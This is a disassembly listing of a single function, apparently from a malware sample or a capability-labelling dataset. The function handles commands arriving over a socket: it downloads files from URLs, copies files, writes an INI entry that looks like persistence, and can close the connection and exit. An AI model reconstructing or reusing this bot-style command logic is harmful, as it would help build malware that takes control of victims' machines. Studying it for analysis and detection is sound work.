Function at 0x4078e4
Capabilities:
Copy file
Create thread
Download url
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x106
push 0
push 0
dec ecx
jne 0x4078ec
push ebx
push esi
mov ebx, eax
lea esi, [ebp - 0x659]
xor eax, eax
push ebp
push 0x408f2a
push dword fs:[eax]
mov dword fs:[eax], esp
jmp 0x408ec0
lea eax, [ebp - 4]
call fcn.00403dcc
lea eax, [ebp - 4]
mov edx, esi
mov ecx, 0x641
call fcn.0040402c
mov eax, esi
mov edx, 0x641
call fcn.00404c3c
lea ecx, [ebp - 0xc]
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.00407640
lea ecx, [ebp - 0x10]
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.00407750
lea ecx, [ebp - 0x14]
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.004076b0
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.0040754c
mov edx, dword [ebp - 4]
mov eax, 0x408f40
call fcn.00404388
test eax, eax
jle 0x4079e8
lea eax, [ebp - 8]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x408f50
call fcn.00404388
push eax
mov eax, dword [ebp - 4]
call fcn.00404044
mov ecx, eax
mov eax, dword [ebp - 4]
pop edx
call fcn.004042a4
lea eax, [ebp - 8]
mov ecx, 1
mov edx, 2
call fcn.004042e4
lea edx, [ebp - 8]
mov ecx, 2
mov eax, 0x408f60
call fcn.0040432c
lea eax, [ebp - 8]
push eax
mov edx, dword [ebp - 8]
mov eax, 0x408f6c
call fcn.00404388
mov ecx, eax
mov edx, 1
mov eax, dword [ebp - 8]
call fcn.004042a4
mov edx, dword [ebp - 8]
mov eax, ebx
call fcn.004074e8
mov edx, dword [ebp - 4]
mov eax, 0x408f78
call fcn.00404388
test eax, eax
jle 0x407a5d
push 0x408f88
push dword [ebx + 0x14]
push 0x408f98
push dword [ebx + 0x18]
push 0x408f6c
lea eax, [ebp - 0x660]
mov edx, 5
call fcn.00404104
mov edx, dword [ebp - 0x660]
mov eax, ebx
call fcn.004074e8
push 0x408fa4
push dword [ebx + 0x14]
push 0x408f98
push dword [ebx + 0x18]
push 0x408f6c
lea eax, [ebp - 0x664]
mov edx, 5
call fcn.00404104
mov edx, dword [ebp - 0x664]
mov eax, ebx
call fcn.004074e8
lea edx, [ebp - 0x668]
mov eax, dword [ebx + 0x1d8]
call fcn.0040660c
mov eax, dword [ebp - 0x668]
mov edx, 0x408fb4
call fcn.00404190
jne 0x408ec0
lea eax, [ebx + 0x1e0]
mov ecx, 1
mov edx, 1
call fcn.004042e4
lea edx, [ebp - 0x66c]
mov eax, dword [ebx + 0x1e0]
call fcn.00406ed0
mov eax, dword [ebp - 0x66c]
push eax
lea eax, [ebp - 0x670]
mov ecx, 0x408fc4
mov edx, dword [ebx + 0x20]
call fcn.00404090
mov edx, dword [ebp - 0x670]
pop eax
call fcn.00404190
jne 0x407b2d
cmp dword [ebx + 0x24], 0
jne 0x407b2d
mov eax, dword [ebx + 0x1e4]
mov edx, dword [ebx + 0x1c]
call fcn.00404190
jne 0x407b2d
mov dword [ebx + 0x24], 0xffffffff
lea eax, [ebx + 0x2118]
mov edx, dword [ebp - 0xc]
call fcn.00403e20
cmp dword [ebx + 0x28], 0
jne 0x407b2d
push 0x408fd4
push dword [ebx + 0x14]
push 0x408fe8
lea eax, [ebp - 0x674]
mov edx, 3
call fcn.00404104
mov edx, dword [ebp - 0x674]
mov eax, ebx
call fcn.004074e8
cmp dword [ebx + 0x24], 0
je 0x408ec0
mov eax, dword [ebx + 0x2118]
mov edx, dword [ebp - 0xc]
call fcn.00404190
jne 0x408ec0
lea edx, [ebp - 0x678]
mov eax, dword [ebx + 0x1e0]
call fcn.00406ed0
mov eax, dword [ebp - 0x678]
push eax
lea eax, [ebp - 0x67c]
mov ecx, 0x408ffc
mov edx, dword [ebx + 0x20]
call fcn.00404090
mov edx, dword [ebp - 0x67c]
pop eax
call fcn.00404190
jne 0x407c9d
cmp dword [ebx + 0x28], 0
jne 0x407bb8
push 0x408fd4
push dword [ebx + 0x14]
push 0x40900c
lea eax, [ebp - 0x680]
mov edx, 3
call fcn.00404104
mov edx, dword [ebp - 0x680]
mov eax, ebx
call fcn.004074e8
push 0
push 0
mov eax, dword [ebx + 0x1e8]
call fcn.00404244
push eax
mov eax, dword [ebx + 0x1e4]
call fcn.00404244
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
cmp dword [ebx + 0x28], 0
jne 0x407c0b
push 0x408fd4
push dword [ebx + 0x14]
push 0x40902c
lea eax, [ebp - 0x684]
mov edx, 3
call fcn.00404104
mov edx, dword [ebp - 0x684]
mov eax, ebx
call fcn.004074e8
mov eax, dword [ebx + 0x1ec]
mov edx, 0x40904c
call fcn.00404190
jne 0x407c5c
mov dl, 1
mov eax, dword [ebx + 0x1e8]
call fcn.00406a30
cmp dword [ebx + 0x28], 0
jne 0x407c9d
push 0x408fd4
push dword [ebx + 0x14]
push 0x409058
lea eax, [ebp - 0x688]
mov edx, 3
call fcn.00404104
mov edx, dword [ebp - 0x688]
mov eax, ebx
call fcn.004074e8
jmp 0x407c9d
mov eax, dword [ebx + 0x1ec]
mov edx, 0x409074
call fcn.00404190
jne 0x407c9d
cmp dword [ebx + 0x28], 0
jne 0x407c80
mov edx, 0x409080
mov eax, ebx
call fcn.004074e8
mov eax, dword [ebx + 0x30]
push eax
call sub.wsock32.dll_closesocket
mov dl, 1
mov eax, dword [ebx + 0x1e8]
call fcn.00406a30
push 0
call sub.kernel32.dll_ExitProcess_1
lea edx, [ebp - 0x68c]
mov eax, dword [ebx + 0x1e0]
call fcn.00406ed0
mov eax, dword [ebp - 0x68c]
push eax
lea eax, [ebp - 0x690]
mov ecx, 0x40909c
mov edx, dword [ebx + 0x20]
call fcn.00404090
mov edx, dword [ebp - 0x690]
pop eax
call fcn.00404190
jne 0x407ce6
xor eax, eax
mov dword [ebx + 0x24], eax
lea eax, [ebx + 0x2118]
call fcn.00403dcc
lea edx, [ebp - 0x694]
mov eax, dword [ebx + 0x1e0]
call fcn.00406ed0
mov eax, dword [ebp - 0x694]
push eax
lea eax, [ebp - 0x698]
mov ecx, 0x4090ac
mov edx, dword [ebx + 0x20]
call fcn.00404090
mov edx, dword [ebp - 0x698]
pop eax
call fcn.00404190
jne 0x407d8b
mov eax, dword [ebx + 0x1e4]
mov edx, 0x40904c
call fcn.00404190
jne 0x407d3a
mov dword [ebx + 0x28], 0xffffffff
jmp 0x407d83
mov eax, dword [ebx + 0x1e4]
mov edx, 0x4090bc
call fcn.00404190
jne 0x407d53
xor eax, eax
mov dword [ebx + 0x28], eax
jmp 0x407d83
cmp dword [ebx + 0x28], 0
jne 0x407d83
push 0x408fd4
push dword [ebx + 0x14]
push 0x4090c8
lea eax, [ebp - 0x69c]
mov edx, 3
call fcn.00404104
mov edx, dword [ebp - 0x69c]
mov eax, ebx
call fcn.004074e8
mov eax, dword [ebx + 0x28]
mov dword [0x40c7d4], eax
lea edx, [ebp - 0x6a0]
mov eax, dword [ebx + 0x1e0]
call fcn.00406ed0
mov eax, dword [ebp - 0x6a0]
push eax
lea eax, [ebp - 0x6a4]
mov ecx, 0x4090e4
mov edx, dword [ebx + 0x20]
call fcn.00404090
mov edx, dword [ebp - 0x6a4]
pop eax
call fcn.00404190
jne 0x407e1d
lea eax, [ebp - 0x10]
push eax
lea edx, [ebp - 0x6a8]
mov eax, dword [ebp - 0x10]
call fcn.00406ed0
mov edx, dword [ebp - 0x6a8]
mov eax, 0x4090f0
call fcn.00404388
add eax, 4
push eax
mov eax, dword [ebp - 0x10]
call fcn.00404044
mov ecx, eax
mov eax, dword [ebp - 0x10]
pop edx
call fcn.004042a4
lea eax, [ebp - 0x6ac]
mov ecx, 0x408f6c
mov edx, dword [ebp - 0x10]
call fcn.00404090
mov edx, dword [ebp - 0x6ac]
mov eax, ebx
call fcn.004074e8
lea edx, [ebp - 0x6b0]
mov eax, dword [ebx + 0x1e0]
call fcn.00406ed0
mov eax, dword [ebp - 0x6b0]
push eax
lea eax, [ebp - 0x6b4]
mov ecx, 0x409100
mov edx, dword [ebx + 0x20]
call fcn.00404090
mov edx, dword [ebp - 0x6b4]
pop eax
call fcn.00404190
jne 0x408682
cmp dword [ebx + 0x28], 0
jne 0x408682
mov eax, dword [ebx + 0x1e4]
mov edx, 0x40904c
call fcn.00404190
jne 0x407fb6
push 0x408fd4
push dword [ebx + 0x14]
push 0x409110
lea eax, [ebp - 8]
mov edx, 3
call fcn.00404104
mov eax, dword [ebp - 8]
call fcn.00404044
inc eax
push eax
push 0x40911c
lea eax, [ebp - 0x6bc]
call fcn.004067f0
push dword [ebp - 0x6bc]
push 0x40912c
lea eax, [ebp - 0x6b8]
mov edx, 3
call fcn.00404104
mov eax, dword [ebp - 0x6b8]
lea edx, [ebp - 8]
pop ecx
call fcn.0040432c
mov eax, dword [ebp - 8]
call fcn.00404044
inc eax
push eax
push 0x40913c
lea eax, [ebp - 0x6c4]
call fcn.00406648
push dword [ebp - 0x6c4]
push 0x40912c
lea eax, [ebp - 0x6c0]
mov edx, 3
call fcn.00404104
mov eax, dword [ebp - 0x6c0]
lea edx, [ebp - 8]
pop ecx
call fcn.0040432c
push 0x40914c
lea edx, [ebp - 0x6cc]
xor eax, eax
call fcn.00406c7c
push dword [ebp - 0x6cc]
push 0x40912c
lea eax, [ebp - 0x6c8]
mov edx, 3
call fcn.00404104
mov eax, dword [ebp - 0x6c8]
push eax
mov eax, dword [ebp - 8]
call fcn.00404044
mov ecx, eax
inc ecx
lea edx, [ebp - 8]
pop eax
call fcn.0040432c
push 0x409160
lea edx, [ebp - 0x6d4]
xor eax, eax
call fcn.00406bd4
push dword [ebp - 0x6d4]
push 0x409174
lea eax, [ebp - 0x6d0]
mov edx, 3
call fcn.00404104
mov eax, dword [ebp - 0x6d0]
push eax
mov eax, dword [ebp - 8]
call fcn.00404044
mov ecx, eax
inc ecx
lea edx, [ebp - 8]
pop eax
call fcn.0040432c
mov edx, dword [ebp - 8]
mov eax, ebx
call fcn.004074e8
mov eax, dword [ebx + 0x1e4]
mov edx, 0x409074
call fcn.00404190
jne 0x4081e6
lea edx, [ebp - 0x6d8]
mov eax, dword [ebx + 0x1e8]
call fcn.00406ed0
mov eax, dword [ebp - 0x6d8]
mov edx, 0x409180
call fcn.00404190
jne 0x408132
push 0x408fd4
push dword [ebx + 0x14]
push 0x409110
lea eax, [ebp - 8]
mov edx, 3
call fcn.00404104
push dword [ebp - 8]
push 0x40918c
lea edx, [ebp - 0x6dc]
mov eax, dword [0x40c7b8]
call fcn.00406dd8
push dword [ebp - 0x6dc]
push 0x4091a8
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404104
push dword [ebp - 8]
push 0x4091b4
lea edx, [ebp - 0x6e0]
mov eax, dword [0x40c7bc]
call fcn.00406dd8
push dword [ebp - 0x6e0]
push 0x4091a8
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404104
push dword [ebp - 8]
push 0x4091d0
lea edx, [ebp - 0x6e4]
mov eax, dword [0x40c7c0]
call fcn.00406dd8
push dword [ebp - 0x6e4]
push 0x4091a8
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404104
push dword [ebp - 8]
push 0x4091ec
lea edx, [ebp - 0x6e8]
mov eax, dword [0x40c7c4]
call fcn.00406dd8
push dword [ebp - 0x6e8]
push 0x4091a8
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404104
push dword [ebp - 8]
push 0x40920c
lea edx, [ebp - 0x6ec]
mov eax, dword [0x40c7c8]
call fcn.00406dd8
push dword [ebp - 0x6ec]
push 0x4091a8
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404104
push dword [ebp - 8]
push 0x40922c
lea edx, [ebp - 0x6f0]
mov eax, dword [0x40c7cc]
call fcn.00406dd8
push dword [ebp - 0x6f0]
push 0x409174
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404104
jmp 0x4081dc
push 0x408fd4
push dword [ebx + 0x14]
push 0x409110
lea eax, [ebp - 8]
mov edx, 3
call fcn.00404104
push dword [ebp - 8]
push 0x40918c
lea edx, [ebp - 0x6f4]
mov eax, dword [0x40c7b8]
call fcn.00406dd8
push dword [ebp - 0x6f4]
push 0x4091a8
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404104
push dword [ebp - 8]
push 0x4091b4
lea edx, [ebp - 0x6f8]
mov eax, dword [0x40c7bc]
call fcn.00406dd8
push dword [ebp - 0x6f8]
push 0x4091a8
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404104
push dword [ebp - 8]
push 0x4091d0
lea edx, [ebp - 0x6fc]
mov eax, dword [0x40c7c0]
call fcn.00406dd8
push dword [ebp - 0x6fc]
push 0x409174
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404104
mov edx, dword [ebp - 8]
mov eax, ebx
call fcn.004074e8
mov eax, dword [ebx + 0x1e4]
mov edx, 0x40924c
call fcn.00404190
jne 0x4082b0
push 0x408fd4
push dword [ebx + 0x14]
push 0x409110
lea eax, [ebp - 8]
mov edx, 3
call fcn.00404104
push dword [ebp - 8]
push 0x409258
lea edx, [ebp - 0x700]
mov eax, dword [0x40c7dc]
call fcn.00406dd8
push dword [ebp - 0x700]
push 0x4091a8
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404104
push dword [ebp - 8]
push 0x409274
lea edx, [ebp - 0x704]
mov eax, dword [0x40c7e0]
call fcn.00406dd8
push dword [ebp - 0x704]
push 0x4091a8
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404104
push dword [ebp - 8]
push 0x40928c
lea edx, [ebp - 0x708]
mov eax, dword [0x40c7e4]
call fcn.00406dd8
push dword [ebp - 0x708]
push 0x409174
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404104
mov edx, dword [ebp - 8]
mov eax, ebx
call fcn.004074e8
mov eax, dword [ebx + 0x1e4]
mov edx, 0x4092a8
call fcn.00404190
jne 0x40837a
push 0x408fd4
push dword [ebx + 0x14]
push 0x409110
lea eax, [ebp - 8]
mov edx, 3
call fcn.00404104
push dword [ebp - 8]
push 0x4092b4
lea edx, [ebp - 0x70c]
mov eax, dword [0x40c7ec]
call fcn.00406dd8
push dword [ebp - 0x70c]
push 0x4091a8
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404104
push dword [ebp - 8]
push 0x4092d4
lea edx, [ebp - 0x710]
mov eax, dword [0x40c7f0]
call fcn.00406dd8
push dword [ebp - 0x710]
push 0x4091a8
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404104
push dword [ebp - 8]
push 0x4092f4
lea edx, [ebp - 0x714]
mov eax, dword [0x40c7f4]
call fcn.00406dd8
push dword [ebp - 0x714]
push 0x409174
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404104
mov edx, dword [ebp - 8]
mov eax, ebx
call fcn.004074e8
mov eax, dword [ebx + 0x1e4]
mov edx, 0x40930c
call fcn.00404190
jne 0x408682
push 0x408fd4
push dword [ebx + 0x14]
push 0x409110
lea eax, [ebp - 8]
mov edx, 3
call fcn.00404104
lea edx, [ebp - 0x71c]
xor eax, eax
call fcn.00402774
mov eax, dword [ebp - 0x71c]
lea edx, [ebp - 0x718]
call fcn.00406e10
mov eax, dword [ebp - 0x718]
push eax
lea edx, [ebp - 0x720]
xor eax, eax
call fcn.00406bd4
mov edx, dword [ebp - 0x720]
pop eax
call fcn.00404190
jne 0x408448
push 0x409318
lea edx, [ebp - 0x72c]
xor eax, eax
call fcn.00402774
mov eax, dword [ebp - 0x72c]
lea edx, [ebp - 0x728]
call fcn.00406e4c
push dword [ebp - 0x728]
push 0x409174
lea eax, [ebp - 0x724]
mov edx, 3
call fcn.00404104
mov eax, dword [ebp - 0x724]
push eax
mov eax, dword [ebp - 8]
call fcn.00404044
mov ecx, eax
inc ecx
lea edx, [ebp - 8]
pop eax
call fcn.0040432c
jmp 0x408678
lea edx, [ebp - 0x734]
xor eax, eax
call fcn.00402774
mov eax, dword [ebp - 0x734]
lea edx, [ebp - 0x730]
call fcn.00406e10
mov eax, dword [ebp - 0x730]
push eax
lea edx, [ebp - 0x738]
xor eax, eax
call fcn.00406c7c
mov edx, dword [ebp - 0x738]
pop eax
call fcn.00404190
jne 0x4084e6
push 0x40932c
lea edx, [ebp - 0x744]
xor eax, eax
call fcn.00402774
mov eax, dword [ebp - 0x744]
lea edx, [ebp - 0x740]
call fcn.00406e4c
push dword [ebp - 0x740]
push 0x409174
lea eax, [ebp - 0x73c]
mov edx, 3
call fcn.00404104
mov eax, dword [ebp - 0x73c]
push eax
mov eax, dword [ebp - 8]
call fcn.00404044
mov ecx, eax
inc ecx
lea edx, [ebp - 8]
pop eax
call fcn.0040432c
jmp 0x408678
lea edx, [ebp - 0x74c]
xor eax, eax
call fcn.00402774
mov eax, dword [ebp - 0x74c]
lea edx, [ebp - 0x748]
call fcn.00406e10
mov eax, dword [ebp - 0x748]
push eax
lea edx, [ebp - 0x750]
xor eax, eax
call fcn.00406d24
mov edx, dword [ebp - 0x750]
pop eax
call fcn.00404190
jne 0x408584
push 0x409340
lea edx, [ebp - 0x75c]
xor eax, eax
call fcn.00402774
mov eax, dword [ebp - 0x75c]
lea edx, [ebp - 0x758]
call fcn.00406e4c
push dword [ebp - 0x758]
push 0x409174
lea eax, [ebp - 0x754]
mov edx, 3
call fcn.00404104
mov eax, dword [ebp - 0x754]
push eax
mov eax, dword [ebp - 8]
call fcn.00404044
mov ecx, eax
inc ecx
lea edx, [ebp - 8]
pop eax
call fcn.0040432c
jmp 0x408678
lea edx, [ebp - 0x764]
xor eax, eax
call fcn.00402774
mov eax, dword [ebp - 0x764]
lea edx, [ebp - 0x760]
call fcn.00406e10
mov eax, dword [ebp - 0x760]
push eax
lea edx, [ebp - 0x768]
xor eax, eax
call fcn.00406b2c
mov edx, dword [ebp - 0x768]
pop eax
call fcn.00404190
jne 0x40861f
push 0x409354
lea edx, [ebp - 0x774]
xor eax, eax
call fcn.00402774
mov eax, dword [ebp - 0x774]
lea edx, [ebp - 0x770]
call fcn.00406e4c
push dword [ebp - 0x770]
push 0x409174
lea eax, [ebp - 0x76c]
mov edx, 3
call fcn.00404104
mov eax, dword [ebp - 0x76c]
push eax
mov eax, dword [ebp - 8]
call fcn.00404044
mov ecx, eax
inc ecx
lea edx, [ebp - 8]
pop eax
call fcn.0040432c
jmp 0x408678
push 0x409368
lea edx, [ebp - 0x780]
xor eax, eax
call fcn.00402774
mov eax, dword [ebp - 0x780]
lea edx, [ebp - 0x77c]
call fcn.00406e4c
push dword [ebp - 0x77c]
push 0x409174
lea eax, [ebp - 0x778]
mov edx, 3
call fcn.00404104
mov eax, dword [ebp - 0x778]
push eax
mov eax, dword [ebp - 8]
call fcn.00404044
mov ecx, eax
inc ecx
lea edx, [ebp - 8]
pop eax
call fcn.0040432c
mov edx, dword [ebp - 8]
mov eax, ebx
call fcn.004074e8
lea edx, [ebp - 0x784]
mov eax, dword [ebx + 0x1e0]
call fcn.00406ed0
mov eax, dword [ebp - 0x784]
push eax
lea eax, [ebp - 0x788]
mov ecx, 0x409378
mov edx, dword [ebx + 0x20]
call fcn.00404090
mov edx, dword [ebp - 0x788]
pop eax
call fcn.00404190
jne 0x4086f0
mov edx, 0x409388
mov eax, ebx
call fcn.004074e8
cmp dword [ebx + 0x1e4], 0
je 0x4086e7
mov eax, dword [ebx + 0x1e4]
call fcn.00406dcc
imul eax, eax, 0x3e8
push eax
call sub.kernel32.dll_Sleep
mov eax, dword [ebx + 0x30]
push eax
call sub.wsock32.dll_closesocket
lea edx, [ebp - 0x78c]
mov eax, dword [ebx + 0x1e0]
call fcn.00406ed0
mov eax, dword [ebp - 0x78c]
push eax
lea eax, [ebp - 0x790]
mov ecx, 0x4093a4
mov edx, dword [ebx + 0x20]
call fcn.00404090
mov edx, dword [ebp - 0x790]
pop eax
call fcn.00404190
jne 0x408746
mov edx, 0x4093b4
mov eax, ebx
call fcn.004074e8
push 0x190
call sub.kernel32.dll_Sleep
push 0
call sub.kernel32.dll_ExitProcess_1
lea edx, [ebp - 0x794]
mov eax, dword [ebx + 0x1e0]
call fcn.00406ed0
mov eax, dword [ebp - 0x794]
push eax
lea eax, [ebp - 0x798]
mov ecx, 0x4093cc
mov edx, dword [ebx + 0x20]
call fcn.00404090
mov edx, dword [ebp - 0x798]
pop eax
call fcn.00404190
jne 0x4087b7
push 0x4093dc
lea eax, [ebp - 0x7a0]
call fcn.00406468
push dword [ebp - 0x7a0]
push 0x408f6c
lea eax, [ebp - 0x79c]
mov edx, 3
call fcn.00404104
mov edx, dword [ebp - 0x79c]
mov eax, ebx
call fcn.004074e8
lea edx, [ebp - 0x7a4]
mov eax, dword [ebx + 0x1e0]
call fcn.00406ed0
mov eax, dword [ebp - 0x7a4]
push eax
lea eax, [ebp - 0x7a8]
mov ecx, 0x4093ec
mov edx, dword [ebx + 0x20]
call fcn.00404090
mov edx, dword [ebp - 0x7a8]
pop eax
call fcn.00404190
jne 0x408852
mov eax, dword [ebx + 0x1e4]
call fcn.00404044
mov edx, dword [ebx + 0x1e4]
cmp byte [edx + eax - 1], 0xa
jne 0x408825
mov eax, dword [ebx + 0x1e4]
call fcn.00404044
mov edx, eax
lea eax, [ebx + 0x1e4]
mov ecx, 1
call fcn.004042e4
push 0x408f88
push dword [ebx + 0x1e4]
push 0x408f6c
lea eax, [ebp - 0x7ac]
mov edx, 3
call fcn.00404104
mov edx, dword [ebp - 0x7ac]
mov eax, ebx
call fcn.004074e8
lea edx, [ebp - 0x7b0]
mov eax, dword [ebx + 0x1e0]
call fcn.00406ed0
mov eax, dword [ebp - 0x7b0]
push eax
lea eax, [ebp - 0x7b4]
mov ecx, 0x4093fc
mov edx, dword [ebx + 0x20]
call fcn.00404090
mov edx, dword [ebp - 0x7b4]
pop eax
call fcn.00404190
jne 0x4088ed
mov eax, dword [ebx + 0x1e4]
call fcn.00404044
mov edx, dword [ebx + 0x1e4]
cmp byte [edx + eax - 1], 0xa
jne 0x4088c0
mov eax, dword [ebx + 0x1e4]
call fcn.00404044
mov edx, eax
lea eax, [ebx + 0x1e4]
mov ecx, 1
call fcn.004042e4
push 0x40940c
push dword [ebx + 0x1e4]
push 0x40941c
lea eax, [ebp - 0x7b8]
mov edx, 3
call fcn.00404104
mov edx, dword [ebp - 0x7b8]
mov eax, ebx
call fcn.004074e8
lea edx, [ebp - 0x7bc]
mov eax, dword [ebx + 0x1e0]
call fcn.00406ed0
mov eax, dword [ebp - 0x7bc]
push eax
lea eax, [ebp - 0x7c0]
mov ecx, 0x409430
mov edx, dword [ebx + 0x20]
call fcn.00404090
mov edx, dword [ebp - 0x7c0]
pop eax
call fcn.00404190
jne 0x408e21
cmp dword [ebx + 0x1e4], 0
je 0x408b0c
mov eax, dword [ebx + 0x1e4]
mov edx, 0x409440
call fcn.00404190
je 0x408b0c
lea edx, [ebp - 8]
mov eax, dword [ebx + 0x1e4]
call fcn.00406ed0
lea eax, [ebp - 0x7c4]
call fcn.004063cc
mov edx, dword [ebp - 0x7c4]
lea ecx, [ebp - 8]
mov eax, 0x40944c
call fcn.00406a98
lea edx, [ebp - 0x7c8]
xor eax, eax
call fcn.00406d24
mov edx, dword [ebp - 0x7c8]
lea ecx, [ebp - 8]
mov eax, 0x409460
call fcn.00406a98
lea edx, [ebp - 0x7cc]
xor eax, eax
call fcn.00406c7c
mov edx, dword [ebp - 0x7cc]
lea ecx, [ebp - 8]
mov eax, 0x409470
call fcn.00406a98
lea edx, [ebp - 0x7d0]
xor eax, eax
call fcn.00406bd4
mov edx, dword [ebp - 0x7d0]
lea ecx, [ebp - 8]
mov eax, 0x409480
call fcn.00406a98
lea edx, [ebp - 0x7d4]
xor eax, eax
call fcn.00406b2c
mov edx, dword [ebp - 0x7d4]
lea ecx, [ebp - 8]
mov eax, 0x409490
call fcn.00406a98
lea eax, [ebp - 0x7d8]
call fcn.00406468
mov edx, dword [ebp - 0x7d8]
lea ecx, [ebp - 8]
mov eax, 0x4094a0
call fcn.00406a98
lea edx, [ebp - 0x7dc]
mov eax, dword [ebp - 8]
call fcn.00406e4c
mov edx, dword [ebp - 0x7dc]
mov eax, 0x4094b0
call fcn.00404388
test eax, eax
jne 0x408a46
lea eax, [ebp - 8]
mov edx, 0x4094bc
call fcn.0040404c
lea eax, [ebx + 0x1e4]
mov edx, dword [ebp - 8]
call fcn.00403e20
push 0
mov eax, dword [ebx + 0x1e4]
call fcn.00404244
push eax
lea edx, [ebp - 0x7e0]
xor eax, eax
call fcn.00402774
mov eax, dword [ebp - 0x7e0]
call fcn.00404244
push eax
call sub.kernel32.dll_CopyFileA
test eax, eax
je 0x408ac8
cmp dword [ebx + 0x28], 0
jne 0x408cba
push 0x408fd4
push dword [ebx + 0x14]
push 0x4094cc
push dword [ebx + 0x1e4]
push 0x409174
lea eax, [ebp - 0x7e4]
mov edx, 5
call fcn.00404104
mov edx, dword [ebp - 0x7e4]
mov eax, ebx
call fcn.004074e8
jmp 0x408cba
cmp dword [ebx + 0x28], 0
jne 0x408cba
push 0x408fd4
push dword [ebx + 0x14]
push 0x4094e4
push dword [ebx + 0x1e4]
push 0x409174
lea eax, [ebp - 0x7e8]
mov edx, 5
call fcn.00404104
mov edx, dword [ebp - 0x7e8]
mov eax, ebx
call fcn.004074e8
jmp 0x408cba
lea eax, [ebp - 8]
mov edx, 0x409504
call fcn.00403e64
lea eax, [ebp - 0x7ec]
call fcn.004063cc
mov edx, dword [ebp - 0x7ec]
lea ecx, [ebp - 8]
mov eax, 0x40944c
call fcn.00406a98
lea edx, [ebp - 0x7f0]
xor eax, eax
call fcn.00406d24
mov edx, dword [ebp - 0x7f0]
lea ecx, [ebp - 8]
mov eax, 0x409460
call fcn.00406a98
lea edx, [ebp - 0x7f4]
xor eax, eax
call fcn.00406c7c
mov edx, dword [ebp - 0x7f4]
lea ecx, [ebp - 8]
mov eax, 0x409470
call fcn.00406a98
lea edx, [ebp - 0x7f8]
xor eax, eax
call fcn.00406bd4
mov edx, dword [ebp - 0x7f8]
lea ecx, [ebp - 8]
mov eax, 0x409480
call fcn.00406a98
lea edx, [ebp - 0x7fc]
xor eax, eax
call fcn.00406b2c
mov edx, dword [ebp - 0x7fc]
lea ecx, [ebp - 8]
mov eax, 0x409490
call fcn.00406a98
lea eax, [ebp - 0x800]
call fcn.00406468
mov edx, dword [ebp - 0x800]
lea ecx, [ebp - 8]
mov eax, 0x4094a0
call fcn.00406a98
lea edx, [ebp - 0x804]
mov eax, dword [ebp - 8]
call fcn.00406e4c
mov edx, dword [ebp - 0x804]
mov eax, 0x4094b0
call fcn.00404388
test eax, eax
jne 0x408c04
lea eax, [ebp - 8]
mov edx, 0x4094bc
call fcn.0040404c
lea eax, [ebx + 0x1e4]
mov edx, dword [ebp - 8]
call fcn.00403e20
push 0
mov eax, dword [ebx + 0x1e4]
call fcn.00404244
push eax
lea edx, [ebp - 0x808]
xor eax, eax
call fcn.00402774
mov eax, dword [ebp - 0x808]
call fcn.00404244
push eax
call sub.kernel32.dll_CopyFileA
test eax, eax
je 0x408c7f
cmp dword [ebx + 0x28], 0
jne 0x408cba
push 0x408fd4
push dword [ebx + 0x14]
push 0x4094cc
push dword [ebx + 0x1e4]
push 0x409174
lea eax, [ebp - 0x80c]
mov edx, 5
call fcn.00404104
mov edx, dword [ebp - 0x80c]
mov eax, ebx
call fcn.004074e8
jmp 0x408cba
cmp dword [ebx + 0x28], 0
jne 0x408cba
push 0x408fd4
push dword [ebx + 0x14]
push 0x4094e4
push dword [ebx + 0x1e4]
push 0x409174
lea eax, [ebp - 0x810]
mov edx, 5
call fcn.00404104
mov edx, dword [ebp - 0x810]
mov eax, ebx
call fcn.004074e8
cmp dword [ebx + 0x1e8], 0
je 0x408d68
mov eax, dword [ebx + 0x1e8]
call fcn.00406dcc
test eax, eax
jle 0x408d68
mov eax, dword [ebx + 0x1e8]
call fcn.00406dcc
mov edx, eax
mov eax, dword [ebx + 0x1e4]
call fcn.004062f8
test eax, eax
je 0x408d68
cmp dword [ebx + 0x28], 0
jne 0x408d33
push 0x408fd4
push dword [ebx + 0x14]
push 0x409520
push dword [ebx + 0x1e4]
push 0x409174
lea eax, [ebp - 0x814]
mov edx, 5
call fcn.00404104
mov edx, dword [ebp - 0x814]
mov eax, ebx
call fcn.004074e8
jmp 0x408d68
push 0x408fd4
push dword [ebx + 0x14]
push 0x409544
push dword [ebx + 0x1e4]
push 0x409174
lea eax, [ebp - 0x818]
mov edx, 5
call fcn.00404104
mov edx, dword [ebp - 0x818]
mov eax, ebx
call fcn.004074e8
lea edx, [ebp - 0x81c]
mov eax, dword [ebx + 0x1ec]
call fcn.00406ed0
mov eax, dword [ebp - 0x81c]
mov edx, 0x409570
call fcn.00404190
jne 0x408df1
push 0x409578
lea eax, [ebp - 0x820]
mov ecx, dword [ebx + 0x1e4]
mov edx, 0x40958c
call fcn.00404090
mov eax, dword [ebp - 0x820]
call fcn.00404244
push eax
push 0x40959c
push 0x4095a4
call sub.kernel32.dll_WritePrivateProfileStringA
cmp dword [ebx + 0x28], 0
jne 0x408df1
push 0x408fd4
push dword [ebx + 0x14]
push 0x4095b4
lea eax, [ebp - 0x824]
mov edx, 3
call fcn.00404104
mov edx, dword [ebp - 0x824]
mov eax, ebx
call fcn.004074e8
lea edx, [ebp - 0x828]
mov eax, dword [ebx + 0x1f0]
call fcn.00406ed0
mov eax, dword [ebp - 0x828]
mov edx, 0x40904c
call fcn.00404190
jne 0x408e21
mov dl, 1
mov eax, dword [ebx + 0x1e4]
call fcn.00406a30
lea edx, [ebp - 0x82c]
mov eax, dword [ebx + 0x1e0]
call fcn.00406ed0
